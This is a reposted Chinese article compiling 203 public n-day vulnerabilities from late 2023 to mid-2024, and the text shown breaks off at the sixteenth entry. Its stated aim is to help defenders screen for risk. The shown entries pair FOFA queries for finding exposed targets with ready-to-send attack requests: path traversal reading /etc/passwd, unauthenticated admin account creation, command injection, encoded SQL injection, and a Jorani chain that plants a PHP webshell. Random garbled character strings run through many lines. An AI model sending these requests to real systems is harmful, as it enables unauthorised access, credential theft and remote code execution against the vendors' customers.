互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
# g7 K4 Q+ t" {1 A以下文章来源于网络安全新视界 ，作者网络安全新视界

5 f: J) }4 ?4 _; S/ I7 r. M发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
5 m1 g: M& l- ?+ S
1 }3 O$ O% {9 V$ ?" D/ Q- k2 c漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
6 }) A3 M6 v3 [& @$ V7 z% D& ?
6 `1 n/ i& P1 {3 s" A安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
2 _; _8 D' M4 L
& n& ^8 S3 a7 r" }: j文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

8 s& |  i/ x4 F  T7 c5 j) @合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
/ S# H& v4 F; W- ~8 ?& ?( c

声明
' j) {9 W4 i+ j2 E4 d* d' h7 S( @
9 D+ k. |, J8 h+ F; @6 @为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

' u- p8 W" N' ]有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。

9 \- M; ~$ H1 y; j0 c" F" g/ Z

* m# P* Q0 s- C3 T目录

, G/ w  {% r* R( m1 |01
4 x8 I; B$ s4 D* D4 g! P1 B) F" d
1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
% L) V2 D5 r7 e; u$ h' c* V4. EasyCVR视频管理平台存在任意用户添加
! H% k2 h: J% y* o5. NUUO NVR 视频存储管理设备远程命令执行
; X# I3 j% B7 p0 R6. 深信服 NGAF 任意文件读取
& M% d3 e; \0 Q7 J* a  u7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
! ]% m/ @1 U4 t12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
/ m$ Z1 g( R( R# i4 G; f' b# y( j14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
/ g" S2 }; q% p$ N" p( r20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
0 Z# e7 P, }  ^, k22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
! ~" Z" T8 o5 z2 k24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
. f+ p$ e# _4 |3 v27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
' F: j/ W0 `: X* r29. 用友NC down/bill SQL注入
  v- L" t( |+ ?% `4 `$ e! h% M" v4 x30. 用友NC importPml SQL注入
. D, u' k0 W# Z$ {& `; @31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
3 X# X4 t% u9 t$ B9 x" K( p/ I35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
5 ?) v4 U% _! o39. 用友U8 Cloud RegisterServlet SQL注入
! q1 b; E4 y( \" T. y40. 用友U8-Cloud XChangeServlet XXE
: E" x7 o( B# M9 B1 R41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
9 X& |& ?3 U% P# @) Z$ z42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
. X, Z2 Z/ T6 v8 f4 _( k1 N. H3 {44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
& Z2 \( e( N8 O: O' F46. 用友GRP-U8 sqcxIndex.jsp SQL注入
' \3 h7 c+ ?2 u47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
, Z, w. q; @8 i% e49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
# A  e4 i! Z$ l5 @7 u# q$ v' b& q51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
" c& i, K& ?  C  d4 e0 s56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
" B# _9 E( N& |' ]5 G57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
7 q* D, h+ o& b/ K59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
( w2 K3 m& B. V! [61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
4 {7 n' C* Q# P. v$ u- k62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
' }. Q0 H5 |' M6 S; a: J( h64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
! F) r( A3 r! K( n66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
. `' ~' h* L& u) W( m6 _69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
6 `7 P6 h0 U" B! @+ E72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
( V+ r7 G( l2 C& a4 t2 H$ S74. 致远M3-server 6_1sp1 反序列化RCE
) z( n2 X- \. s75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
2 V8 Y- C5 q. D: ^79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
1 g, {6 w3 }% \; W3 `4 \- B& j86. 日本tosei自助洗衣机RCE
" g, j9 L6 U* R( u" E% G87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
' ^9 w6 {! Q) x, U# V89. 致远互联FE协作办公平台editflow_manager存在sql注入
3 l+ h' T1 K. c" v" L/ a1 f8 `* v+ m90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
& ^# Y1 T! {3 _  m- e! z6 p94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
5 v+ P7 ]  O! z3 C% Y7 X98. SpiderFlow爬虫平台远程命令执行
4 Y! _1 O, u0 |: q/ b+ \+ M8 O99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
/ ]+ T3 ~! U1 E# P3 W101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
; E# m  N1 D4 `( j+ z( p% b! p103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
/ z# B, T- h+ {# f' Y+ ], v, ?& H107. SpringBlade tenant/list SQL 注入
) i1 D$ v7 @. M+ E0 {4 W' t108. D-Tale 3.9.0 SSRF
3 c( l' Q0 S8 d2 V109. Jenkins CLI 任意文件读取
; w* J; W  I. V& I110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
: |# r5 _) s. M112. WordPress Plugin NotificationX SQL 注入
2 X! q  e1 A! F0 E* `113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
( c* N$ O3 P3 p+ m! X' d2 E115. WordPress Bricks Builder <= 1.9.6 RCE
- d5 I- s' Y  W# t116. wordpress js-support-ticket文件上传
  _$ j; @5 w) Q117. WordPress LayerSlider插件SQL注入
+ {% ?& S0 S: ?0 M& d118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
  S9 x9 D0 K/ ~$ c5 V+ \  z+ U5 q120. 北京百绰智能S40管理平台导入web.php任意文件上传
3 ^0 Q& f/ ~' L: C3 J121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
! S* r; }# O3 P; D& D/ Z4 ~7 R1 K123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
4 m. I' R3 k) W  l9 M, v; C126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
- f- H/ Y7 {! Y/ T128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
- g- @3 {( L7 U0 d$ J  t5 Y$ i131. Mini-Tmall <=20231017 SQL注入
7 l2 L2 z' v: e! A132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
% T/ [- v3 v5 L+ L# K1 ?135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
" ^3 y2 `# Q7 n, o; V137. 福建科立迅通信指挥调度平台down_file.php sql注入
0 z$ _- ~6 \' ^& m5 f" f5 E/ C1 J138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
& f6 {4 Z, w3 `$ N0 z2 K139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
) E1 l" y+ F8 M  J+ ~142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
( b7 v( U" K6 {145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
7 `7 x, U5 {; ^146. MajorDoMo thumb.php 未授权远程代码执行
$ {$ k2 W' o; q6 O3 T: v147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
7 ]: J( ^5 L6 X. m; S0 W  I149. AJ-Report开源数据大屏存在远程命令执行
* W: s, S7 K. Z6 i2 q9 {150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
; s6 e! X( E& |3 J- E152. Progress Kemp LoadMaster 远程命令执行
, R/ n0 l6 U: b9 L8 \153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
  C% h$ c; k) a9 t6 Z4 ^155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
- V# \2 h9 l& A: h/ m. `' v9 _159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
  u0 I! ?! q1 Y) N; M8 \161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
2 r8 C! d' e' k1 O1 _! g3 }162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
9 M$ B: T" y% A% H& L2 n1 g# m% v164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
( z9 ?; i! I1 M( s168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
6 V# [  m# O( ~9 k175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
: Q2 I. [/ u( S+ U& s178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
: k# G% S' a( X: Q/ c3 x9 ~4 s180. 帮管客 CRM jiliyu SQL注入
. O' ?% B. k8 L: [; c! Y9 O181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
/ O& [1 j' i2 k8 s* _182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
  N6 D  v! q/ C# ]183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
1 O% ~$ v2 Y# n* G8 b184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
2 p% s, c/ ?1 v& v" o9 B( y185. 瑞友天翼应用虚拟化系统SQL注入
& m+ E7 ^8 ?9 H; D0 i0 N1 Y( z( u186. F-logic DataCube3 SQL注入
7 i5 Q/ i" `- `2 Q" ~3 o( L) j& m187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
; B4 Q! ?- n$ {189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
5 k$ K4 T% X9 c8 X* D5 M6 ~+ z7 O191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
, d$ ~: L3 X7 O( b; @0 p9 ~  C9 Y192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
" V" e6 f0 n" x6 d  E4 t  `4 u194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
0 G$ \  p5 ?" @4 T0 q/ p8 x195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
: r4 R" f2 e4 G* `; @! M196. 河南省风速科技统一认证平台密码重置
) J8 J, e" `' T  O9 ~197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
# N6 D$ e/ P( U' O( j3 @2 c; i% s198.  阿里云盘 WebDAV 命令注入
/ _9 S, z1 _/ X199. cockpit系统assetsmanager_upload接口 文件上传
; [7 ~) W! E! T  w$ e8 |- O" E$ E200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
6 ?6 g" ~4 K; X& c; \, l; `203. 红海云EHR PtFjk 文件上传
4 M* ^1 {0 M6 C8 y8 x9 K  I
POC列表
! m  N9 m6 Z) i, G
02
$ N1 ^: M& E8 {
1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
' P% M7 D' Y* LHost: URL
9 [5 T/ M, x! O/ U& [

5 U7 w* i9 m' y) N/ P# [2. Casdoor系统static任意文件读取
# Q1 ?3 ?! l) [# F$ LFOFA ：title="Casdoor"
1 o; p2 u7 O3 Y* SGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
8 K- U  D. {( W- k* X3 E" |Connection: close
5 }( M5 G* F9 W- A% b- z; P( q7 bAccept: */*
, L- P5 S. L: U% [: _4 M# rAccept-Language: en
Accept-Encoding: gzip

, _! v& I3 y/ V8 i1 U( z
3. EasyCVR智能边缘网关 userlist 信息泄漏
3 v! [1 L  O' ^. O, ~4 WFOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx


. X* a) E; O$ d5 M) R4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

5 t; t4 H  [5 v* C/ S4 F. ^9 x4 y: }5 @password更改为自己的密码md5
4 M2 F6 c. ?2 a9 i* l. k0 `8 gPOST /api/v1/adduser HTTP/1.1
" N  T# A1 R% Y) o6 g1 ]Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
4 P5 O5 a; f" `
& {% {) e  n7 Z' m# zname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
* O" P9 Z8 d- S. Y
1 y, a% Z4 e6 q. T$ v
5. NUUO NVR 视频存储管理设备远程命令执行
2 Z, W$ e8 V' I& H. G+ B6 eFOFA：title="Network Video Recorder Login"
% [7 E# V5 a5 M$ o! UGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx


/ _  W. o  {7 n, J6. 深信服 NGAF 任意文件读取
) `% Z4 h( N+ VFOFA：title="SANGFOR | NGAF"
# q) {) K; ~7 C- ~7 h$ _GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
+ I) F/ n, E2 U5 A; EHost:
1 m8 W; U$ x! _, a
; `; \# F; ]4 O- e
8 h" o- c  N# y( ]) x* B7. 鸿运主动安全监控云平台任意文件下载
, e8 R2 ~( Q% t3 [FOFA：body="./open/webApi.html"
2 N% ]9 l8 d* U9 l2 {; uGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
: r5 ]. M" r9 D! j6 L2 KHost:
3 k' m$ \. k" L$ s9 g+ h1 }" o
" O. l! [8 e# ], F
8. 斐讯 Phicomm 路由器RCE
. @1 q( b0 _6 m! J  vFOFA：icon_hash="-1344736688"
/ ], a6 f: Q! x/ }默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
9 [* q- Z+ O) f- AContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
5 O0 B/ l$ B- {User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
* \! [$ J/ I, [( |7 x( j
------WebKitFormBoundaryxbgjoytz
8 Q9 @1 Y1 W, _; y' Z# ~: gContent-Disposition: form-data; name="wifiRebootEnablestatus"

2 v1 v- U& D5 @. ?- C/ F0 o% B%s
! w/ H+ B, X$ [* J------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"
1 J9 J! D1 `# s% T0 W
2 w4 l( Z7 K2 r! w8 a- H0 _12:00; id;
------WebKitFormBoundaryxbgjoytz
+ C, O/ Q+ B2 x+ O- C; |Content-Disposition: form-data; name="wifiRebootendrange"
; v5 b' p& z+ D: ]' e% p
%s:
------WebKitFormBoundaryxbgjoytz
8 S3 n8 M* X7 u/ T% V8 V' sContent-Disposition: form-data; name="cururl2"
' Q: m6 i4 e  _

7 W% E' @( t( ~0 m------WebKitFormBoundaryxbgjoytz--
2 O8 i% F; W' J

9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
. z# ^" i7 W/ J/ MHost: x.x.x.x

: E! u' J3 m5 y. O* q  g
" A) W/ V$ y$ `5 P) U9 mpayload为下列语句的二次Url编码

' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

- `/ H1 ~) Y5 b+ M0 F) W9 V10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
3 Z' r, s" B* ^FOFA：icon_hash="953405444"

' z1 u3 M( F- i: ~% Y0 l) S文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
% L0 f, Z  \5 F7 j6 `- K5 S' VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
8 j4 c$ P$ y0 }: C! w& o/ vAccept-Encoding: gzip, deflate
! v2 X/ ^4 p! @+ ]0 L9 ?7 g, e; g8 fAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
. i5 C" |8 B2 I  e4 ZContent-Type: text/html
* N& h, m  S4 d$ l% ]
jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--

0 t5 {" C' }; ^& j" H& O
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
; ~. Y1 |& Q+ C$ i# I( RGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
% @+ k7 T. k; O9 B. IUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
/ T! C2 K' t' [Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
% Q/ p) x7 O7 k0 {/ m6 W$ W

; [5 y& A3 b9 f6 d, H" j7 ~: c0 ]12. Jorani < 1.0.2 远程命令执行
3 w, K: b  L& T5 Z( sFOFA：title="Jorani"
第一步先拿到cookie
6 C" y& h# t7 I& u2 hGET /session/login HTTP/1.1
Host: 192.168.190.30
% [. g! ~( {, _( tUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
* v- X$ I' U0 BConnection: close
, O' y; x; H: w) kAccept-Encoding: gzip


# k0 @" R" X. p6 {" }* Z  E$ C响应中csrf_cookie_jorani用于后续请求
$ j" Y% ?0 `% j" o- ?8 oHTTP/1.1 200 OK
& n( g6 S, v* `0 R5 x0 s: C# IConnection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
  k8 t4 R8 s) X# e) Z5 j& bExpires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
3 K8 [$ Z+ C1 xPragma: no-cache
Server: Apache/2.4.54 (Debian)
8 w( }7 j6 H0 c# V5 l% pSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
' l- W  j0 R4 a* e' Y4 o; C2 C

7 `: M  {- P( P4 n5 @POST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
' q6 X- c, G; f# M6 v3 s" QHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
7 n+ }  e6 B7 M% U7 TContent-Length: 252
) [+ D% S: A, s! b. w/ [% ^& fContent-Type: application/x-www-form-urlencoded
. R; G, r# R. [7 L1 pCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
7 {0 `  N) O  U, SAccept-Encoding: gzip
% M* n7 u; [6 \+ c2 l
4 L2 B% m$ Z0 z) w0 s: `csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
  U# z  X% i) d


向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
' U+ M2 s0 t' W' N; qHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
! ?* K3 P% @4 U% o: W6 V  r# DX-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip
' j6 Y5 h0 s( |  x2 R3 V& y
  r: c, I1 d. d, n3 }% j
' a2 k' F8 Y6 U" g& O4 l13. 红帆iOffice ioFileDown任意文件读取
' c7 K# ?1 u2 t* {& pFOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
$ v) a) Z) y2 v. a7 b' i5 WUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
/ h  T' _3 ^& |; y, }8 R2 G# GAccept: */*
Accept-Encoding: gzip

! b6 ?6 k5 F5 b7 d; E+ _! s
14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
% V2 n, w, I$ |/ O7 Y1 |; W泄露内容包括用户名密码
+ N: R8 e4 ~! s& F0 e" D4 F8 KGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
+ ?, y: I! t* v- b: f$ }0 a8 V. EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
. Q$ |0 O) X  J: e& \Connection: close
& }+ ]0 l4 Q, `  c& v8 o- w9 O! k8 mAccept: */*
Accept-Language: en
5 h8 N- \) y# u8 |6 q& HAccept-Encoding: gzip


15. 华夏ERP getAllList信息泄露
CVE-2024-0490
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
& @3 D$ |0 M# J6 ZGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
# w2 X( L4 m9 M" w( b; j3 U* ~Connection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
sec-ch-ua-platform: Windows
, k4 c) v& g# c( v& LAccept-Encoding: gzip
1 d( H/ `* c' S
: K- w- W) D4 I' m
- V5 K* v" H6 G& M2 [: S: G16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
poc中调用函数计算1234的md5值
